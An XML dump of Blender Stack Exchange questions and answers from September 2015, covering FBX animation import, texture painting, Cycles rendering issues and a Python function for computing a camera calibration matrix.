  <row Id="38178" PostTypeId="1" AcceptedAnswerId="38195" CreationDate="2015-09-07T15:08:15.673" Score="2" ViewCount="4036" Body="&lt;p&gt;I've tried to import an animated FBX model in blender, but as result I've obtained just the model itself with its skeleton but without animation.&#xA;How am I supposed to import the model so that I can obtain the animation as well?&lt;/p&gt;&#xA;" OwnerUserId="17966" LastEditorUserId="14916" LastEditDate="2015-09-07T16:32:04.550" LastActivityDate="2015-09-07T19:24:20.273" Title="Import animation of an FBX model" Tags="&lt;animation&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38179" PostTypeId="2" ParentId="38163" CreationDate="2015-09-07T15:10:15.683" Score="1" Body="&lt;pre&gt;&lt;code&gt;scene.objects['Cube'].matrix_world[0][3]&#xA;&#xA;scene.objects['Cube'].matrix_world[1][3]&#xA;&#xA;scene.objects['Cube'].matrix_world[2][3]&#xA;&#xA;bpy.context.active_object.matrix_world[0][3]&#xA;&#xA;bpy.context.active_object.matrix_world[1][3]&#xA;&#xA;bpy.context.active_object.matrix_world[2][3]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="241" LastEditDate="2015-09-08T14:24:21.250" LastActivityDate="2015-09-08T14:24:21.250" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38180" PostTypeId="1" AcceptedAnswerId="38181" CreationDate="2015-09-07T15:18:23.167" Score="6" ViewCount="722" Body="&lt;p&gt;I was recently working on a character model, and I encountered a problem while using the Texture Paint mode.&#xA;I unwrapped and assigned a texture to every piece of the model, and then went to the Texture Paint mode to work on it. When I finished the work I rendered it to check the result, and then I noticed certain colors of the texture didn't appear at all in the render.&#xA;The flat texture and the model in 3D view look like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jbWKt.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jbWKt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whereas the render looks like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WmjOl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WmjOl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For further reference, I'm using Cycles Render, and used the node editor to apply several shadings and displacement.&#xA;For the scene, I'm using two spotlights, both white in color, and black background.&#xA;Also, while in Texture Paint, I used the Multiply and Lighten blends for adding contrast, and the Overlay blend for applying the purple hue.&#xA;I'm using Blender 2.74.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my node setup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Pq3Hh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pq3Hh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17967" LastEditorUserId="3127" LastEditDate="2015-09-08T15:04:31.137" LastActivityDate="2015-09-08T15:04:31.137" Title="Certain colors not showing on Cycles Render" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38181" PostTypeId="2" ParentId="38180" CreationDate="2015-09-07T15:37:58.473" Score="4" Body="&lt;p&gt;You are using a mathematical multiply. You should be using an RGB multiply &lt;a href=&quot;https://i.stack.imgur.com/YSznJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YSznJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the color multiply in the add menu &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;em&gt;Color&lt;/em&gt;&gt;&lt;em&gt;MixRGB&lt;/em&gt; and set the drop down the multiply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason the math multiply doesn't work is that it simply multiplies a &lt;em&gt;single&lt;/em&gt; value (per pixel) together, giving one output channel. The Color multiply multiplies each of the three channels (per pixel) and gives a three channel output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how a multiply RGB node works, using the mathematical multiply:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EUDy9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EUDy9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each color channel on the first image is multiplied by the corrosponding one on the second image. They are then added together to make a new image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The factor merely mixes the multiplied image with the un-affected image.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-09-07T15:52:57.347" LastActivityDate="2015-09-07T15:52:57.347" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38182" PostTypeId="1" AcceptedAnswerId="38187" CreationDate="2015-09-07T16:08:28.247" Score="6" ViewCount="99" Body="&lt;p&gt;In the blender game engine, is it possible to make it look like this when you actually play the game?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CxAqZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CxAqZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, this was screenshotted outside of the game player while in edit mode, so maybe it's possible to bake this texture to an actual texture which I can apply to a material?&#xA;This is very likely impossible though, so maybe theres a script someone made to generate the texture for each face? (so for each face just a simple light grey texture with dark grey outlines?)&lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2015-09-07T16:42:30.483" Title="Using the face edit mode as a texture in bge" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;uv&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38185" PostTypeId="2" ParentId="38169" CreationDate="2015-09-07T16:29:09.243" Score="0" Body="&lt;p&gt;You could try selecting the faces you want to be rounded in edit mode, then press 'P' then 'by selection', then try subsurf on this new separate mesh, although you may then have to join up the vertices from the other part of the object.&#xA;&lt;br&gt;Maybe add the blend file so people can see the object better? &lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2015-09-07T16:29:09.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38186" PostTypeId="1" CreationDate="2015-09-07T16:36:16.430" Score="1" ViewCount="60" Body="&lt;p&gt;im trying to render out a mesh that i have created in rhino (drawn in meters, the expoerted as obj.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do a simple clay rendering - but if i want to align my cam to the current view (top view - ortho) the camera shows nothing - can this be due to clipping settings ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cant figure it out - is there a way to show the viewing cone of the camera ?&#xA;thank you !&lt;/p&gt;&#xA;" OwnerUserId="17971" LastActivityDate="2015-09-07T16:36:16.430" Title="rendering out a mesh from rhino3d - problem with camera" Tags="&lt;camera&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38187" PostTypeId="2" ParentId="38182" CreationDate="2015-09-07T16:42:30.483" Score="3" Body="&lt;p&gt;I have arrived at an imperfect approximation. It will create the effect, but has some flaws:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Edge lines will be inconsistently thick.&lt;/li&gt;&#xA;&lt;li&gt;Center point may not be exactly centered.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, the result is definitely passable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4BXNsm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4BXNsm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create this, you need a few steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;UV unwrap it. You &lt;kbd&gt;U&lt;/kbd&gt;&gt;&lt;em&gt;UV unwrap&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reset the UV's &lt;kbd&gt;U&lt;/kbd&gt;&gt;&lt;em&gt;Reset&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an image texture, I used this image:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G3mOj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G3mOjm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Set the UV map&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;TADA! You have your result!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the .blend for any confusing details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/476/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=476&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-09-07T16:42:30.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38188" PostTypeId="1" CreationDate="2015-09-07T16:47:23.933" Score="2" ViewCount="282" Body="&lt;p&gt;I have a character whose legs are draped in some cloth. I rigged the character and parented the rig to the character mesh and the cloth mesh. So when I move the rig parts, the corresponding body parts move and so does the cloth. When I move the leg of the character, the leg and the cloth draped on it , both move. However, the leg penetrates through the cloth after some point. Is there a way to fix this? I want the leg to push the cloth, and never penetrate through it.&lt;/p&gt;&#xA;" OwnerUserId="8438" LastActivityDate="2017-09-02T14:26:36.173" Title="Blender rigging while handling cloth collision" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;rigging&gt;&lt;cloth-simulation&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38189" PostTypeId="2" ParentId="15102" CreationDate="2015-09-07T17:17:05.437" Score="15" Body="&lt;p&gt;The following Python code builds a calibration matrix K commonly used in computer vision from a Blender camera. You can then use the generated K matrix to compare against your own.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Matrix&#xA;&#xA;def get_calibration_matrix_K_from_blender(camd):&#xA;    f_in_mm = camd.lens&#xA;    scene = bpy.context.scene&#xA;    resolution_x_in_px = scene.render.resolution_x&#xA;    resolution_y_in_px = scene.render.resolution_y&#xA;    scale = scene.render.resolution_percentage / 100&#xA;    sensor_width_in_mm = camd.sensor_width&#xA;    sensor_height_in_mm = camd.sensor_height&#xA;    pixel_aspect_ratio = scene.render.pixel_aspect_x / scene.render.pixel_aspect_y&#xA;    if (camd.sensor_fit == 'VERTICAL'):&#xA;        # the sensor height is fixed (sensor fit is horizontal), &#xA;        # the sensor width is effectively changed with the pixel aspect ratio&#xA;        s_u = resolution_x_in_px * scale / sensor_width_in_mm / pixel_aspect_ratio &#xA;        s_v = resolution_y_in_px * scale / sensor_height_in_mm&#xA;    else: # 'HORIZONTAL' and 'AUTO'&#xA;        # the sensor width is fixed (sensor fit is horizontal), &#xA;        # the sensor height is effectively changed with the pixel aspect ratio&#xA;        pixel_aspect_ratio = scene.render.pixel_aspect_x / scene.render.pixel_aspect_y&#xA;        s_u = resolution_x_in_px * scale / sensor_width_in_mm&#xA;        s_v = resolution_y_in_px * scale * pixel_aspect_ratio / sensor_height_in_mm&#xA;&#xA;    # Parameters of intrinsic calibration matrix K&#xA;    alpha_u = f_in_mm * s_u&#xA;    alpha_v = f_in_mm * s_v&#xA;    u_0 = resolution_x_in_px*scale / 2&#xA;    v_0 = resolution_y_in_px*scale / 2&#xA;    skew = 0 # only use rectangular pixels&#xA;&#xA;    K = Matrix(&#xA;        ((alpha_u, skew,    u_0),&#xA;        (    0  ,  alpha_v, v_0),&#xA;        (    0  ,    0,      1 )))&#xA;    return K&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    # Insert your camera name below&#xA;    K = get_calibration_matrix_K_from_blender(bpy.data.objects['Camera'].data)&#xA;    print(K)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Notes&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I've tested this with cycles and many scenes, and it works. &lt;/li&gt;&#xA;&lt;li&gt;The updated code is now well-tested with non-unit aspect ratio in different scenes.&lt;/li&gt;&#xA;&lt;li&gt;Non-zero skew is not supported in blender AFAIK.&lt;/li&gt;&#xA;&lt;li&gt;The principal point assumed fixed at the center of the image. If this is not so, this code needs to be updated to take camera shift into account (see &lt;a href=&quot;https://blender.stackexchange.com/questions/883/how-to-set-a-principal-point-for-a-camera&quot;&gt;How to set a principal point for a camera&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Lens distortion is taken into account separately, see my answer to &lt;a href=&quot;https://blender.stackexchange.com/questions/38208/distortion-coefficients-and-camera-intrinsic-of-blenders-cameras/38460#38460&quot;&gt;Distortion Coefficients and Camera intrinsic of blender&amp;#39;s cameras?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;I'm ignoring your last column containing all zeros.&lt;/li&gt;&#xA;&lt;li&gt;The code is written explicitly for documentation purposes. I apologize for the long names and extra variables but it really pays off for debugging careful parameter conversions.&lt;/li&gt;&#xA;&lt;li&gt;To get the full &quot;projection matrix which transforms 3D vertex to 2D image coordinates&quot; you mention in the end of your question, see my answer to &lt;a href=&quot;https://blender.stackexchange.com/questions/38009/3x4-camera-matrix-from-blender-camera&quot;&gt;3x4 camera matrix from blender camera&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16590" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-10-28T16:18:46.307" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="38190" PostTypeId="1" CreationDate="2015-09-07T17:49:57.353" Score="0" ViewCount="184" Body="&lt;p&gt;I UV Projected an objec&lt;a href=&quot;https://i.stack.imgur.com/uGgJk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uGgJk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;t, but now I want to paint certain parts of that map onto it without the whole thing. How can I do this so that the parts I paint still look like the same parts of the map?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the settings you need to see are in this screenshot :-)&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-09-07T18:30:38.067" LastActivityDate="2015-09-07T19:22:45.787" Title="How to paint a texture on, based on the way it was mapped on with UV?" Tags="&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="38191" PostTypeId="2" ParentId="38190" CreationDate="2015-09-07T17:58:20.360" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K6mHq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K6mHq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In texture paint mode you can either &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Paint and modify the existing texture image such as (.png) file.&lt;/li&gt;&#xA;&lt;li&gt;Paint on a new texture and layer the textures so that one covers the others.&lt;/li&gt;&#xA;&lt;li&gt;Paint with a brush from one image to another final image ... rather like a clone tool from GIMP&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A video tutorial for texture painting is probably a necessary resource for ease of explanation and understanding.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-09-07T19:22:45.787" LastActivityDate="2015-09-07T19:22:45.787" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38192" PostTypeId="1" CreationDate="2015-09-07T18:28:20.113" Score="0" ViewCount="27" Body="&lt;p&gt;here's the file:&#xA;&lt;a href=&quot;https://mega.nz/#!OFo1QBgR!iECp6YBlRXYUVcdfEmoLO-w7g76yP6qfaRy8hbP9IZ8&quot; rel=&quot;nofollow&quot;&gt;https://mega.nz/#!OFo1QBgR!iECp6YBlRXYUVcdfEmoLO-w7g76yP6qfaRy8hbP9IZ8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've fiddled with the settings, but everytime, it just imports as a bunch of plane axies, i've confirmed that they do open and work in autocad, but blender is much easier to work with....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help&lt;/p&gt;&#xA;" OwnerUserId="17973" LastEditorUserId="15140" LastEditDate="2015-09-07T19:14:50.503" LastActivityDate="2015-09-07T19:14:50.503" Title="Tough time importing .dxf into blender" Tags="&lt;import&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-09-07T21:33:43.053" ContentLicense="CC BY-SA 3.0" />
  <row Id="38193" PostTypeId="1" CreationDate="2015-09-07T18:45:57.237" Score="0" ViewCount="734" Body="&lt;p&gt;Hi I'm creating 3d panoramic spherical renders and as far as i can tell 2.75 doesn't really support that out of the box. So I found the work around is animating the camera and creating 360, 12px slices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if there is a python script or node setup I can use to restitch these slices back together (horizontally)? btw- I tried using the program stereo photo maker but it failed to open and stitch my image. Then i started to do it by hand in Photoshop which works fine except  it's ridiculously tedious. Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="12825" LastActivityDate="2015-09-07T18:45:57.237" Title="stitching image slices together with python or compositor" Tags="&lt;python&gt;&lt;compositor&gt;&lt;image&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38194" PostTypeId="1" AcceptedAnswerId="38201" CreationDate="2015-09-07T18:53:22.407" Score="3" ViewCount="1114" Body="&lt;p&gt;I have rendered an image of size 150*120,&#xA;&lt;br&gt;I think the amount of pixel size is related to the sensor size, isn't it?&#xA;&lt;br&gt;But I have the sensor size just for the horizontal direction which is 32.&#xA;&lt;br&gt;How can I calculate the pixel size for each direction of my rendered image?&#xA;&lt;br&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="16687" LastActivityDate="2015-10-28T03:58:16.503" Title="How can I calculate the pixel size for each direction of my rendered image?" Tags="&lt;blender-internal-render-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38195" PostTypeId="2" ParentId="38178" CreationDate="2015-09-07T19:24:20.273" Score="1" Body="&lt;p&gt;Blender FBX importing of animation is rather limited - only handles baked animation (that is, animated curves that are a bunch of points with linear interpolation between them), for transform (loc/rot/scale of objects and bones) and shape keys influences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond that, not sure which version of the FBX addon you are using, but FBX importer often finds many 'animation stacks' compatible with an object in FBX file, it converts them as Blender actions, and (at best) randomly affect one of those actions to the object. So suggest you check the Action Editor, and re-assign the desired action to your object.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-09-07T19:24:20.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38196" PostTypeId="1" CreationDate="2015-09-07T20:44:17.367" Score="2" ViewCount="506" Body="&lt;p&gt;It seems that when exporting layers as &lt;code&gt;png&lt;/code&gt; images in Photoshop, some elusive semi-transparent pixels may be saved as white and become quite apparent when imported as planes into blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DlnSL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DlnSL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be easily remedied by erasing their alpha in the texture paint mode; however, transparent becomes white: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vDO4K.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vDO4K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes it very hard in most, and impossible in some, cases to tell where these stray pixels are and when I've gotten rid of them (&quot;erasing alpha&quot; is basically painting &quot;white&quot; over white).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way to get rid of the transparent white by either replacing it with a different colour, hiding it completely or replacing it by some Photoshop-style grid?&lt;/p&gt;&#xA;" OwnerUserId="17963" LastEditorUserId="3078" LastEditDate="2015-09-07T21:34:29.063" LastActivityDate="2017-08-02T22:09:53.533" Title="Is it possible to change the default transparent color when texture painting?" Tags="&lt;image&gt;&lt;transparency&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38198" PostTypeId="1" CreationDate="2015-09-07T22:58:56.997" Score="1" ViewCount="51" Body="&lt;p&gt;I have a shot put together with a model that is textured to my standards and lit to match my scene and I like the way it looks in the render view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue is that this does not match what shows up in the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The positioning is a little different, but you get the idea). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow, I've been tinkering around in the settings and can't get it to look right. I'm pretty new to this program and was wondering if I may just have some of my settings messed up or if it's an issue with my laptop rendering. Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Joel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my node setup for the material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MTAUT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MTAUT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/478/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=478&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17969" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-09-08T02:14:40.583" Title="Render view does not match final render (Cycles Render)" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-09-08T06:42:40.523" ContentLicense="CC BY-SA 3.0" />
  <row Id="38199" PostTypeId="1" AcceptedAnswerId="38227" CreationDate="2015-09-07T23:12:32.967" Score="2" ViewCount="1000" Body="&lt;p&gt;How can I make an arm with blood textures on it, and where there is blood, there is a shiny material?&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-09-08T12:53:07.430" Title="How to make a texture that shines, or paint a material?" Tags="&lt;texturing&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ClosedDate="2015-09-08T14:44:32.033" ContentLicense="CC BY-SA 3.0" />
  <row Id="38200" PostTypeId="1" AcceptedAnswerId="38369" CreationDate="2015-09-07T23:50:19.187" Score="3" ViewCount="1008" Body="&lt;p&gt;I'm having trouble importing the &lt;code&gt;ctypes&lt;/code&gt; Python module from a 32-bit installation of Blender 2.73 on Windows. I need to use Blender's included Python, &lt;strong&gt;not&lt;/strong&gt; the system Python. From the interactive console inside the Blender GUI with no project or anything loaded, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import ctypes&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;  File &quot;C:\Program Files (x86)\Blender Foundation\Blender\2.73\python\lib\ctypes\__init__.py&quot;, line 7, in &amp;lt;module&amp;gt;&#xA;    from _ctypes import Union, Structure, Array&#xA;ImportError: DLL load failed: %1 is not a valid Win32 application.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My Windows installation is 64-bit but I figured that shouldn't matter given that I'm running Python from a 32-bit installation of Blender and &lt;code&gt;ctypes&lt;/code&gt; is part of the initial installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a feeling that the issue is specific to Windows because I cannot reproduce the issue on 64-bit Ubuntu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="17976" LastEditorUserId="17976" LastEditDate="2015-09-08T01:36:00.627" LastActivityDate="2015-09-11T08:33:18.800" Title="Can't import ctypes from Blender's Python" Tags="&lt;python&gt;&lt;windows&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38201" PostTypeId="2" ParentId="38194" CreationDate="2015-09-07T23:56:11.330" Score="2" Body="&lt;p&gt;Here is an illustrative code fragment to show how to compute the pixel sizes in each direction (u is horizontal, v is vertical):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scale = scene.render.resolution_percentage / 100&#xA;pixels_in_u_per_mm = resolution_x_in_px * scale / sensor_width_in_mm&#xA;pixels_in_v_per_mm = resolution_y_in_px * scale * aspect_ratio / sensor_height_in_mm&#xA;pixel_size_in_u_direction = 1/pixels_in_u_per_mm&#xA;pixel_size_in_v_direction = 1/pixels_in_v_per_mm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By experimenting with blender, I found out that by default (camera sensor fit set to &quot;auto&quot;) the sensor width is fixed, the sensor height is effectively changed with the aspect ratio settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current Blender GUI only specifies the sensor width by default, but there is a variable for sensor height in the internal camera data. It is used if the camera's sensor fit is set to something other than &quot;Auto&quot;, which I don't currently cover in this answer (see next paragraph for another answer where I cover these).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above code is based on the Python code in my answer to &lt;a href=&quot;https://blender.stackexchange.com/questions/15102/what-is-blenders-camera-projection-matrix-model&quot;&gt;What is blender&amp;#39;s camera projection matrix model?&lt;/a&gt;. You can find details on how to get the relevant parameters there, and also how to deal with other sensor fit settings.&lt;/p&gt;&#xA;" OwnerUserId="16590" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-10-28T03:58:16.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38202" PostTypeId="1" CreationDate="2015-09-08T00:05:49.607" Score="1" ViewCount="576" Body="&lt;p&gt;So I have a basic T pose female character that I'm using for a sniper game I am creating with a friend. I'd love to have a ghillie suit on her, as It's going to be very stealthy game, and we'd like to make use of the camouflage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is actually creating the grass and/or leaves/branches. I'm not entirely sure the best way to tackle it, and being very new to blender, I was hoping someone with a bit more experience could point me in the right direction and give me a few tips. As I'm stuck for what to do, your help would be extremely invaluable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Thanks for the replies, brasshat. The engine will be/is Unreal Engine 4 (version 4.8.3 specifically) and we intend to just have a static ghillie suit for now, so we can get the basic look going to aid us in camouflage, etc. The eventual plan could probably be give it a few basic physics like swaying and such. But that is months down the line. I'm aware of the online courses, but any chance you could share a few ways that'd be suitable for this? that way I can focus on what I need to learn specifically&lt;/p&gt;&#xA;" OwnerUserId="16221" LastEditorUserId="16221" LastEditDate="2015-09-09T01:19:31.700" LastActivityDate="2015-09-09T01:19:31.700" Title="Best way to make a Ghillie suit in Blender?" Tags="&lt;modeling&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
